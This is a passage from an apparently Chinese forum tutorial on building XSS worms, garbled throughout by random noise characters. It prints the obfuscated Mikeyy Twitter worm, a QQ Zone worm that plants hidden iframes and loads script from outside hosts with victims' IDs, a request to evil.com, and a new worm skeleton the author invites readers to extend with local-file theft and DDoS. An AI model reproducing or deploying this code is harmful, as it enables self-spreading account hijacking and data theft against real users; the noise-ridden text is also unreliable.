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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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' L% d* |- \. Y+ F r0 {( DXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);
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<script>9 i2 c0 S, U6 L& [3 u% f) E
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
( n$ i% [9 P. ]! m* Z0 n$ a复制代码案例:Twitter 蠕蟲五度發威
4 Q( V2 Y& t. S7 v4 t2 j第一版:! i& G+ t$ H/ t, D: j9 X. v
下载 (5.1 KB)
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: i. j: C- h0 e) B& F$ T6 天前 08:27
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0 y" G" ]0 p3 S8 S" `9 Q J2 t0 C第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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3. function XHConn(){ ! m, D: L/ A% H! d% P" w
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4. var _0x6687x2,_0x6687x3=false;
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9 D, G+ \- P, A; I Y5 l 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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8 h0 ]! U$ u" y2 \3 q 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; };
- P0 G: L3 d$ ~: L. u2 T5 u- s复制代码第六版: 1. function wait() { $ k( F1 p2 @2 f) l. i! N
: m y: u: u; |# d! t* W* ] 2. var content = document.documentElement.innerHTML; 9 [+ V( @' x# S+ i+ D7 Y l" N+ j
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3. var tmp_cookie=document.cookie; 4 h4 F+ E5 G. k0 m* R. c& U, Z
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4. var tmp_posted=tmp_cookie.match(/posted/); - s; N: m; z+ C$ S- h7 m6 G
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); ( u2 h+ x7 X$ ~
: Z+ K" G* E' w+ P5 T% k7 g 6. var authtoken=authreg.exec(content);
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' }% J0 e; t/ ~; |8 S8 [5 y2 T 7. var authtoken=authtoken[1];
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! i1 R1 i) e' ?+ z 8. var randomUpdate= new Array();
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" t: [# I2 q; F 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; 3 p5 k' s2 I- e3 [4 S
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 8 x9 J m6 v, }4 K
% w9 {2 h* a/ f) }) I3 i 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; ) @$ P' H4 c3 U
% z" D; r$ g7 ` e6 M 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; $ c, J& D+ q1 j7 S) s3 b: n
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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# g+ p& H' a9 z/ L4 b" g( k 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; ' N1 r: s V! Y$ i2 s6 {
* e# }4 Y% U. _2 g 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; & Q4 N% ^0 }- [' J% s" m2 o) ~
% v; q' s+ w6 _5 B$ R 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; $ g1 ]* D$ x4 c) G2 ~
# f) w6 z- X- B8 [3 ~9 }) k 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; % p1 R/ F! Z2 E5 t/ ]
! V9 L0 T. V. x& l 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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+ o0 J" X" ~1 d7 ^# X: p 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 2 _0 G' V1 |# P. Q
& C$ I0 O8 G4 A2 x9 S; o7 {
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24. + n3 y& W* _7 I/ Y$ m. j
: r0 J/ {; e: d1 k4 P$ \ 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; 7 y( u- E1 X5 ]& |8 x: J
' _# c3 }: p1 d* M/ x; F" {/ o2 ~ 26. var updateEncode=urlencode(randomUpdate[genRand]);
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27.
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28. var ajaxConn= new XHConn(); 6 E. N2 O0 e/ Q* e4 C$ i
4 }9 P) s& j5 r( u$ V3 K* \ 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 5 A2 ~/ ^" p3 y7 L% Q8 e
0 N- o0 @+ l9 p2 c, K 30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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2 t. Q' e; ^# f* A, } 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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( {. l: _* H: f6 }$ @4 H 35. var XSS=urlencode(genXSS);
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! z7 h. g7 d* v8 B9 k 36. var ajaxConn2= new XHConn(); # E3 x4 H$ i: t* Q" d8 O2 @+ p
, F/ p) K M# m `$ {3 [ 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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' I# x0 O) \; T4 [% k$ Q 38. / B% v( |/ O9 ~0 V# \9 J
% w- o# V+ z" N4 H ? 39. } ; ) m/ q/ g1 G7 p- h. _# M
, i9 t" q- y8 J: I. G- r' b2 ^% i4 H, A 40. setTimeout(wait(),5250); ) ~3 a$ ?0 d6 ?* B( J# W
复制代码QQ空间XSSfunction killErrors() {return true;}* Q' d$ I4 n: W2 B f5 k" a
0 |% }" D) ?. t. v3 S( `: R, `window.onerror=killErrors;" N4 ]- p: D, e5 j- Q
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9 [8 a+ A% I& yvar shendu;shendu=4;5 k* Y; Y2 X$ A# b- g# b3 |
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//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?+ R$ Q9 f2 t. E) N& A+ `2 S" }
, p9 x# m0 P" z, V, p& v: m- Ovar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";2 ?3 ^3 P8 d. a# p G
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var myblogurl=new Array();var myblogid=new Array();) r9 _& b! b1 o7 \* N. @; Y
( z- N8 f3 N# s2 [8 p" s& j var gurl=document.location.href;
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6 O7 w* W2 h3 j' _$ D# m var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3);
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% V! I# y3 ^! U5 G; M var visitorID=top.document.documentElement.outerHTML;3 y9 G6 D1 t% A8 z
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var cookieS=visitorID.indexOf("g_iLoginUin = ");, f: A: M, A, Q* u1 R
3 [% J0 | w+ v* T visitorID=visitorID.substring(cookieS+14);; h/ h1 v0 T6 ^& P, \' Y9 J! a( a
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cookieS=visitorID.indexOf(",");+ C: |3 t* v4 g* ?: C
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visitorID=visitorID.substring(0,cookieS);. ]+ J& n/ Z1 a6 p; L7 ]6 A3 p6 |" r
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get_my_blog(visitorID);
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DOshuamy();
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//挂马
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function DOshuamy(){" k3 r$ ]% E. v! Y4 s3 [
6 \6 G* B( w4 Wvar ssr=document.getElementById("veryTitle");0 M5 |- G' V {# k$ }& O
. N) s5 R; M' k' x1 P. N5 _5 Lssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");. T: W d9 B% t$ Q1 C
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气? i4 a$ m1 a) c9 C2 I; E
7 x) j; d; o. @, ?: yfunction get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象4 ]5 [2 Y; Q4 N* {& z1 K
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if(xhr){ //成功就执行下面的
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( i: @8 e4 t) X3 f, [+ b xhr.open("GET",userurl,false); //以GET方式打开定义的URL" P E- {( z! O0 r
: h2 |' Q1 E1 N( n7 @! } xhr.send();guest=xhr.responseText;* Q, F! C% F8 O3 _- l. S9 r2 S- y3 t
4 e9 h& P1 _8 s9 j6 H$ @) Y get_my_blogurl(guest); //执行这个函数
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}
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//这里似乎是判断没有登录的' b' W* \6 t9 ]' B8 ?
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function get_my_blogurl(guest){/ y- \# T$ e/ m- P1 i. b
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var mybloglist=guest;" s" Y! R7 { l' G8 X
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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6 Z4 D- i2 |" c4 O! Q( b if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);) E9 g* W0 k# K/ E4 x: f$ I
- E& D4 S. k( ]/ y1 d3 |7 B myurls=mybloglist.indexOf(')');3 S' p/ @! L; R
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myblogid=mybloglist.substring(0,myurls);
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}else{break;}+ B8 {/ ^( u* h L. R
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get_my_testself(); //执行这个函数
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//这里往哪跳就不知道了# w7 x. K; s5 ?# z' g
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function get_my_testself(){6 z. ~# @8 P$ S
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for(i=0;i<myblogid.length;i++){ //获得blogid的值4 v4 r1 }6 Z3 `% P9 S
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
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var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象) X3 b3 _3 ~9 y9 _ Q
% u# R) s: ]2 _: O$ f g if(xhr2){ //如果成功
7 ^1 U+ H5 d, Z- F( c6 i9 o3 ?& n
xhr2.open("GET",url,false); //打开上面的那个url
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xhr2.send();
, u' F+ y4 b1 E" G' s
5 w! p' n1 Q' X, p( w( c guest2=xhr2.responseText;
6 O( v' P% o# {& {0 g
* }& s- o* u, F3 T var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
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var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串5 `- j8 R4 c- l7 L
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if(mycheckmydoit!="-1"){ //返回-1则代表没找到
, Y% v7 {! i6 f/ O& n. F3 G0 L
2 C* k5 ]9 `+ t9 D targetblogurlid=myblogid; 0 K" s7 w" M! ] Z% u: Q( K
- z4 Z6 `, Q) }- ]9 ~% {# j add_jsdel(visitorID,targetblogurlid,gurl); //执行它
: }8 t) }. ]% D( f& x9 ]: ?+ N" }) E& u) }4 c' c0 E8 R
break;. B: S$ U+ ?& _. G: |. T
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}. F; x5 e9 Z7 o% \. w
6 F: k$ s6 a- D/ O. a0 Z% [
if(mycheckit=="-1"){
; q _, T$ h/ x+ b$ f& K1 r+ [
targetblogurlid=myblogid;) a6 P3 _' `6 l$ ~2 `( S8 r9 @7 i8 H
. {- M* _- a5 K4 ?. W" |7 c add_js(visitorID,targetblogurlid,gurl); //执行它! \3 c9 T) F) B% }8 I! r1 V
- u5 P# ]$ J/ y% ^/ ~2 ~5 ^
break;
Y# X; u9 j4 h3 [$ r" n) D- Q- c- F* w2 b' L/ J
}
$ k# \0 U! [: y& ]: k
) G* }. z+ A+ _ } , @# o; Y3 t! z% c, \6 S' ^: T* v
0 H/ N, x9 P+ \2 j0 X
}
/ y: B9 |7 ^" e" t, Q6 p
" ]) P1 h8 T% D3 G$ U+ p}" e3 F3 o: H! h( u* D+ X
- g [' m0 A2 ^& w/ L: | Z# _
, r2 p$ {3 U! i! q, N
- `4 O I: a$ ]$ D: [7 ?$ a: }//--------------------------------------
! b3 }0 v/ P9 S# U+ Z @! O& e
$ _- _0 V$ k, m3 n5 A/ K//根据浏览器创建一个XMLHttpRequest对象
1 Z. d3 \& n- s7 A/ i l7 {' y: t
# A# J: j9 Z* s `" efunction createXMLHttpRequest(){8 A8 Q& Q. ]8 g! c# y
6 D) Z, e1 B/ m2 \) H! l% A! T
var XMLhttpObject=null; 9 ?. i. M" `" U6 V% Y, _
6 W. r& N6 ~8 }3 ?$ M1 s
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
4 n2 e# a7 x+ j; `# E5 B4 e- @) f$ a- o C5 V
else
' f. p1 n$ K7 n# A4 N
( C6 b% [$ J6 ^+ l5 P { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
; n( E' @3 B$ N+ ~
( ~% M) d7 {6 y( E for(var i=0;i<MSXML.length;i++) / @( S9 B* Y) ^, l. \. c
7 F! o X! D) U/ \' a) m. f
{
" ~3 m+ S# P' N/ T
# u7 I! D! v! A: ?7 ?' s try 0 d% { i+ _8 c+ U6 E) C5 ^6 o
7 F) X# L9 V6 p: \
{ . v# l4 M$ C$ x/ Y! x3 L
- r% M9 G8 s7 Z9 [3 O5 I XMLhttpObject=new ActiveXObject(MSXML); , q- m* X) e. O0 X, }
3 H: W& ~ z3 z4 _6 e0 j! R
break;
* j4 F# {' d7 d9 J* L ?' c Z& u# ]0 P1 V
}
4 P( q/ [# X U/ z a
! E( o5 n1 J* z* }) E9 _; d I% k catch (ex) { ' k! J' s8 T( Y% H* X, ?- D' S
# `2 t4 Z9 I: m$ Z' H% p } ) t; C( {3 u# o0 Q2 p8 i4 z
& G( D# Z( y$ `8 k1 z9 Z4 y
} - {. A: b5 y: w* V, T' _/ }" g) H5 V+ z
+ u# ?: Q. A1 E7 p }# O: H+ B3 r: w& n% I3 z3 g5 @
+ u# e( P: x( ]) m/ Z% C) p% lreturn XMLhttpObject;
( u+ L& s9 G5 a8 E! S3 u2 g1 ?: T$ l" O( H+ i
}
; U ~' B5 I3 q, O4 t Y
5 F/ o( M1 i7 @! L: _3 `
5 p. W1 k2 w+ y: c1 H4 ]- \' r3 u+ v! O3 O1 H# ]& a w
//这里就是感染部分了
+ W1 F; f! G' l1 b/ `
' p4 c# `# \$ t6 I+ yfunction add_js(visitorID,targetblogurlid,gurl){
6 k: l6 i6 d" S6 E& W0 {; d$ u7 U$ X6 \% C f$ ^
var s2=document.createElement('script');( y: ?1 ] A4 q
' d( O: r9 T& R! Q* }: p4 @3 q
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
6 R6 m+ D R2 Y/ ^' l+ G D+ C- z1 |7 W
s2.type='text/javascript';
" q/ ~- u" h0 @8 b# g6 c; I3 U1 @8 y+ H H- r, r p" v; x
document.getElementsByTagName('head').item(0).appendChild(s2);8 H7 @+ M L5 I5 Y) d7 E& Y! P& y
9 e& f* u* a5 u
}5 I& }1 i! [5 ?* b1 w. x. P8 O
/ A) P5 S T) G& _" R
. E) [+ {- @1 p) u) c8 l$ h
0 ^6 A2 G/ a! u8 l" n( V0 u! j+ Lfunction add_jsdel(visitorID,targetblogurlid,gurl){
: G' o* J0 h/ w0 E
% Q% W0 h |& Z& h# Z8 S2 Mvar s2=document.createElement('script');
- ]; l! b: {4 g* {3 ]' c9 k
' l- {6 Y) q7 a' o/ }) V+ bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();4 R1 X r, Y9 e8 [/ {
5 z, C; B* ^: S" [& z3 u+ l
s2.type='text/javascript';
! c+ ^# g% d4 [. s' o- n6 i, T/ Z# d: r8 H, d1 @. m5 m4 I
document.getElementsByTagName('head').item(0).appendChild(s2);; M. J- K. ?1 M' C
( _7 n- `4 R! `! {
}( Z, ~8 I q( B6 J5 y
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
2 N; \9 v7 S, s8 Y" O+ n- q0 M1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)7 A0 Q( z$ m6 |' e5 Z! M8 x
9 C+ w% R) z5 |: |0 a" j% G2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
" Q8 ^3 [6 [: |8 e3 g! S1 M# \: x$ W8 P+ W5 [ D3 k3 H( f& e
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~2 x; @4 |) L8 L6 p
! S, Q9 }2 A" h) z2 ]/ n
" v: K: \/ b- P% l( S; q+ l下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
. i9 k; c2 ^$ R) ]5 `& A, p+ y. M- @2 j: j- |- a) B, j, J
首先,自然是判断不同浏览器,创建不同的对象var request = false;
) i# N2 n; e" e; E3 l1 X; X
1 V$ Y8 f/ W% ?* j. t# \) _" oif(window.XMLHttpRequest) {
+ U' u' V3 I" ?( S/ L3 t4 \7 G+ S9 w+ d- j, l
request = new XMLHttpRequest();" d _" D: t" r5 q% ]+ M1 a- M6 G
1 N$ G9 F) J/ J+ I: c
if(request.overrideMimeType) {# y! w) M+ @4 m0 M
8 k- {/ [+ L' Krequest.overrideMimeType('text/xml');6 ]4 G# k2 H d0 \* y( r. i
0 L+ x. I! X X9 t
}
W$ v% a. K( [; A# D
* E% K1 j9 x" W} else if(window.ActiveXObject) {
t8 e3 G: U; H6 S7 R+ S: V3 S
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
# M/ |% A7 f7 T9 t
4 D! u. T" [* pfor(var i=0; i<versions.length; i++) {4 ^) u5 o7 }' _' s4 a
- P# s m# R8 F! }2 y n3 o9 l! H
try {- L0 P! _3 _6 c- Z# ~' ~' P
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request = new ActiveXObject(versions);
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& n- P" m* s: i: e0 ?7 N. D} catch(e) {}
) x) e* V U( x a8 l9 v5 m, }* ]; Y& T4 ` h9 r
}
% E3 U0 Q7 c1 ~: B+ b( g4 e1 O0 L8 z- V; E2 C$ U9 f8 M
}+ d+ H: z7 S3 v/ O- J# ]6 E) P0 x; T3 f
8 f8 j0 e1 {3 a# i1 q0 t
xmlHttpReq=request;7 p3 \* S6 t! U
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
7 z$ p3 T7 V7 @6 u; e: k/ u
5 X: \) O T( G+ a: E4 ~- x var Browser_Name=navigator.appName;" I6 M7 [% I/ K0 O3 D1 d' x' G
4 b8 l; }* v9 I0 \6 J& u, u/ `# a var Browser_Version=parseFloat(navigator.appVersion);5 N v, F& V7 H9 }0 j' D
! B; b/ N6 o5 G) ?) @6 e
var Browser_Agent=navigator.userAgent;
; s+ S+ X4 g1 t) {- ~ l4 R8 T, p S. m* c
4 L) s @1 ]! ]0 A0 E; ]0 S3 t0 M
4 q* o4 g% e! r+ F$ N1 C3 o. |
var Actual_Version,Actual_Name;
. K% f6 t J0 U! F, P) Z8 }
1 w; H. p$ j0 ^; v+ y
# ^1 w0 i- f) O5 d1 Z
, P( a. l+ U5 g4 |& x var is_IE=(Browser_Name=="Microsoft Internet Explorer");# }8 S1 ~: K+ L# Z% f7 g4 l! k* \
E4 }# O& Q, Y, |
var is_NN=(Browser_Name=="Netscape");6 v4 K/ A& H/ q
5 Y7 M" e1 Y- n: z) W: }: J
var is_Ch=(Browser_Name=="Chrome");# t* N @, e* ^: v3 b; z
7 p. X0 |$ O& h; T2 | Z+ i
& n! R: @2 f$ A/ q, Q
. m$ m+ L$ h w2 T. ` if(is_NN){$ e+ j5 z O: l; \ x
3 X+ P, R: Z. w
if(Browser_Version>=5.0){9 k' P* W) A' u. |
+ Q7 N- v* y1 o$ q- @- K1 N8 ?, ?
var Split_Sign=Browser_Agent.lastIndexOf("/");. r( E% v, @' j. a
2 c# Y% I4 d% k! K var Version=Browser_Agent.indexOf(" ",Split_Sign);
, {% h& d( v* v/ ^& R
6 b0 E9 W! g. B0 C6 V% U& }) O var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);! ]2 _7 k4 p( x% r8 w% \1 Q
$ D3 F& g8 D I- h6 ~) v
$ A1 L9 k& |; @2 G2 S, [0 w/ l0 ^
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
3 A4 ]+ _+ \ Q- v. b! ?9 \+ I
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
5 b0 p" U7 w1 S* K' C0 {9 C* Q3 j8 Y( H9 D
}- J" r ]+ F; k' Y1 w* a
: p; d! N; S. _
else{8 R" W3 m; ~3 R7 u/ {/ S
9 j1 s8 q6 \# P5 k# W* A Actual_Version=Browser_Version;9 ]" Q8 ~- G9 U- D' s
9 l$ k" E$ r5 \# p7 ^
Actual_Name=Browser_Name;
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}( U# X J) @+ h6 q& @
z4 V0 }+ v+ {9 A. t8 Z
}9 Q) @0 P6 A. X7 q
5 M, a9 t+ h- ~9 h
else if(is_IE){( q8 {7 [9 o3 {
6 W, j$ D, p5 a# C/ f1 K' d
var Version_Start=Browser_Agent.indexOf("MSIE");
, @# {6 i& k4 S
7 |+ G$ v: i/ c9 e, P; y var Version_End=Browser_Agent.indexOf(";",Version_Start);
" z( U0 c0 i" U* z, T& y. j
% G% [; k) ?6 w. V0 y) [ Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;- a: {. M* V0 f1 ~3 i) T
3 V# n7 H& t/ @3 I# Y' d( U 0 V, i0 i. _; y+ Y
3 @0 {* @( x9 O9 s
if(Browser_Agent.indexOf("Maxthon")!=-1){) p( |7 I1 L. i. } M
n; R& J3 R- b9 a; L# a8 e0 T
Actual_Name+="(Maxthon)";! y+ ?% A: J& l$ `/ P2 F4 [- l
9 _+ [* Z# P( g L; L! v7 U
}
! ~2 _5 m! y; w. D; o/ b% s
. V0 q; O/ X7 x else if(Browser_Agent.indexOf("Opera")!=-1){" q/ J, _2 y* _2 ^4 S3 R
f! x" y5 M. x9 q/ Y. q
Actual_Name="Opera";3 e& a) {- I* {" F" @$ _% ^
0 q l( m" L8 Y6 M3 C5 w% S4 ~
var tempstart=Browser_Agent.indexOf("Opera");5 y5 w( {7 L+ U( c
6 n# b6 O6 |" o/ c) W6 I1 J, u% ? var tempend=Browser_Agent.length;
% b# I+ d) P$ ?: w" _$ U7 v# X& F( h3 z
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)" g8 F- x/ h+ }- z, @/ m
, W" d2 j7 x" Q }+ E) [8 T) H2 R5 i* y" Z( a' q
L' e1 ]) x$ x7 ]% C9 B, l
}
' \. W+ V/ f5 t8 O; [+ B% i: n, T8 Y. ]& g2 _# Q, v
else if(is_Ch){) w+ ^2 k* I+ T0 f1 ~9 f
: f3 E; t. Z+ x9 B4 R* f$ Q
var Version_Start=Browser_Agent.indexOf("Chrome");
; h" F8 n) W5 D: n: s* s0 T5 s* |0 D }# u
var Version_End=Browser_Agent.indexOf(";",Version_Start);
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End) c4 @' l$ i: [' D$ W6 L
' K5 E3 I$ C, J9 U Actual_Name=Browser_Name;* C8 o/ @- y7 \+ v# `6 Z
n! }( |( R2 f# \9 U ; ^ W- n1 _' A7 k
2 j0 O, I0 H$ v+ a* l2 i9 n) C
if(Browser_Agent.indexOf("Maxthon")!=-1){
- \) U3 A* \ \; z% t* r: i" R0 X2 L B
Actual_Name+="(Maxthon)";
" p, u; J0 t! }/ M5 v6 j+ q, C' s" }* W
}2 J. q3 A. _& `( Q
/ h$ E, y0 x2 A! Y1 Y* f" Y1 ? else if(Browser_Agent.indexOf("Opera")!=-1){
( m' R/ w8 ]& O1 X
* Z& l7 n! B) ~* J: g Actual_Name="Opera";
& A) Y, B; X9 r* V. L7 T. e3 Q# G5 {# B5 z
var tempstart=Browser_Agent.indexOf("Opera");( Y4 r! S5 g/ n( I* Y( \0 y
+ X% K# k- I8 N: X7 l5 K$ j$ G
var tempend=Browser_Agent.length;
7 Z) N5 ]+ \ U) }" a2 X: n- w! O; d/ G: n b+ }) j- r1 B/ F. H' w: D
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)) ^8 g4 T# |! T& F' g; m
# ]" Y* b9 w. R9 p8 S o5 a }" m3 q: H: Z4 T! q! h' b
% S4 B0 L* R3 w* D7 ^( I) { }
* t/ {9 M2 o7 X& j" |) a0 F
* Q) ^( n, c9 {2 i6 I else{
6 m" y7 I- d' U. J
: s+ L, o7 S, O5 x3 b q Actual_Name="Unknown Navigator"
- p- t* K; h6 a6 ?3 f: m
1 s }! N) J, T" l& N( c0 S Actual_Version="Unknown Version"
4 J- p5 I9 s, @# F- y# v" S0 _. P0 w4 ~: T! u+ a
}, B3 n, Z2 Y' \- B7 x* g
$ D" k; Y+ \' c& Q0 r
( ^3 l) l, ?+ u. }
8 ] ~# |0 y, n* ?+ j* m* E, z2 G navigator.Actual_Name=Actual_Name;! _$ u( s) m( @9 J( n
8 j3 V, H1 B1 y6 u/ r6 f navigator.Actual_Version=Actual_Version;
( D$ `0 ]# n1 z& C4 l2 P
9 W" {3 v' N" F+ Z; G3 W4 | 7 G7 h$ v! J+ H" E$ W$ r Y
, }9 `4 c) |& }3 L0 o( J+ y$ m1 S this.Name=Actual_Name;1 d( t( E y3 m5 s6 Q/ S
) ^/ c7 V- t# L9 P* F this.Version=Actual_Version;
2 u) O& ^$ I" A# A6 W! i P0 |7 Q6 P; j- b! n1 s; B! P5 q# U. G
}- E% N, w/ y$ v. p/ I
, n1 a0 G3 R I$ C; F
browserinfo();
' U# _3 F4 U4 o; `! ^
, \/ u% b2 r2 k: W/ t if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}5 o# _6 ]. t; U2 D
: u& @) i2 N6 @( g; F7 U
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
) E$ Q0 e( k1 ]: r7 K8 V G- X# `; a* i0 ^" Q& b% s% e
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
' k! q8 k- u7 ?1 n3 d$ `9 @# E2 o
. \* D7 d7 f: u( R if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
( s& B- @1 Z( O7 z复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
* k% g" B9 M' \! T3 W复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
